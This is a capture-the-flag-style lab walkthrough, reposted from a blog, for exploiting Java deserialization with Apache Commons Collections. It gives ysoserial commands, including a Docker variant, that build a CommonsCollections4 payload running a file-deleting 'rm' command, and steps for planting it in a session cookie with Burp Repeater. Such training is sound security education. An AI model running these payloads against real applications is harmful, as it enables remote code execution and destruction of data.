18.2 Lab: Exploiting Java deserialization with Apache Commons | 2024

2 weeks ago 21
BOOK THIS SPACE FOR AD
ARTICLE AD

This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don’t have source code access, you can still exploit this lab using pre-built gadget chains. To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory | Karthikeyan Nagaraj

Karthikeyan Nagaraj

This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don’t have source code access, you can still exploit this lab using pre-built gadget chains.

To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Log in to your own account and observe that the session cookie contains a serialized Java object. Send a request containing your session cookie to Burp Repeater.Download the “ysoserial” tool and execute the following command. This generates a Base64-encoded serialized object containing your payload:In Java versions 16 and above:java -jar ysoserial-all.jar \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
CommonsCollections4 'rm /home/carlos/morale.txt' | base64

In Java versions 15 and below:

java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

3. If you got issues with Running the file, then use the following command inside the ysoserial directory

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
docker build -t ysoserial:latest .
docker run ysoserial:latest CommonsCollections4 'rm /home/carlos/morale.txt' | base64

3. In Burp Repeater, replace your session cookie with the malicious one you just created. Select the entire cookie, right click and Click Convert selection, Click URL and then Click URL Encode All Characters.

4. Finally, Send the request to solve the lab.

Read Entire Article